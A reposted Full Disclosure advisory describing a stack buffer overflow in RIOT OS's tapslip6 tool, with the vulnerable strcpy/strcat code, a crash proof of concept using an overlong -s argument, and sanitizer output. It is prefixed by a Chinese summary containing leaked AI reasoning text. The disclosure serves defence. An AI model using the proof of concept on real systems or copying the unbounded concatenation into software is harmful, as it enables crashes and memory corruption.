RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction
嗯,用户让我帮忙总结一篇文章,控制在100字以内,而且不需要用“文章内容总结”之类的开头。好的,首先我得仔细阅读这篇文章,理解它的主要内容。 文章讲的是RIOT OS中的tapslip6工具存在一个栈溢出漏洞。这个漏洞是由于devopen函数中使用strcpy和strcat连接字符串,没有进行边界检查。攻击者可以提供过长的设备名称,导致栈溢出,进而引发进程崩溃和内存损坏。虽然需要本地访问,但该工具通常以高权限运行,影响较大。 接下来,我需要把这些信息浓缩到100字以内。重点包括漏洞类型、原因、影响和风险因素。要确保语言简洁明了,直接描述内容。 可能的结构:首先说明漏洞类型和位置,然后描述原因(strcpy和strcat无检查),接着说明影响(溢出、崩溃、内存损坏),最后提到权限问题增加风险。 现在组织语言:RIOT OS的tapslip6工具存在栈溢出漏洞,因devopen函数使用不安全的字符串连接导致。攻击者可提供过长设备名引发溢出,造成进程崩溃和内存损坏。该工具常以高权限运行,风险较高。 检查字数:大约90字左右,符合要求。 </think> RIOT OS的tapslip6工具存在栈溢出漏洞,因devopen函数使用不安全的字符串连接导致。攻击者可提供过长设备名引发溢出,造成进程崩溃和内存损坏。该工具常以高权限运行,风险较高。 2026-1-11 04:23:59 Author: seclists.org(查看原文) 阅读量:5 收藏

fulldisclosure logo

Full Disclosure mailing list archives


From: Ron E <ronaldjedgerson () gmail com>
Date: Thu, 8 Jan 2026 10:42:45 -0500

A stack-based buffer overflow vulnerability exists in the tapslip6 utility
distributed with RIOT OS (and derived from the legacy uIP/Contiki
networking tools). The vulnerability is caused by unsafe string
concatenation in the devopen() function, which constructs a device path
using unbounded user-controlled input.
Specifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed
prefix "/dev/" with a user-supplied device name provided via the -s
command-line option. No bounds checking is performed, allowing an attacker
to supply an excessively long device name and overflow a fixed-size stack
buffer. This issue can lead to process crashes and memory corruption. While
exploitation requires local access, the affected utility is commonly
executed with elevated privileges during development, testing, or
deployment of RIOT OS networking environments, increasing impact.



*Root Cause:*int devopen(const char *dev, int flags)
{
    char t[1024];
    strcpy(t, "/dev/");
    strcat(t, dev);
    return open(t, flags);
}

*Impact:*

   - Stack-based buffer overflow
   - Process termination (Denial of Service)
   - Memory corruption




*Proof of Concept:*./tapslip6 -s $(python3 - << 'EOF'
print("A"*3000)
EOF
) 10.0.0.1 255.255.255.0



*Output:*=================================================================
==492967==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbffa6001140 at pc 0xaaaab3e609a4 bp 0xffffd6e212c0 sp 0xffffd6e20ab0
WRITE of size 3001 at 0xfbffa6001140 thread T0
    #0 0xaaaab3e609a0 in strcat
(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)
    #1 0xaaaab3ec04f0 in devopen
/root/RIOT/dist/tools/tunslip/tapslip6.c:420:5
    #2 0xaaaab3ec04f0 in main
/root/RIOT/dist/tools/tunslip/tapslip6.c:629:18
    #3 0xffffa7a42598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #4 0xffffa7a42678 in __libc_start_main csu/../csu/libc-start.c:360:3
    #5 0xaaaab3dd73ec in _start
(/root/RIOT/dist/tools/tunslip/tapslip6+0x373ec) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab)

Address 0xfbffa6001140 is located in stack of thread T0 at offset 4416 in
frame
    #0 0xaaaab3ebfef8 in main /root/RIOT/dist/tools/tunslip/tapslip6.c:543

SUMMARY: AddressSanitizer: stack-buffer-overflow
(/root/RIOT/dist/tools/tunslip/tapslip6+0xc09a0) (BuildId:
cf8e25195b4cb64b5a381ae2324d1971ccc6d6ab) in strcat
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/


Current thread:

  • RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction Ron E (Jan 10)

文章来源: https://seclists.org/fulldisclosure/2026/Jan/15
如有侵权请联系:admin#unsafe.sh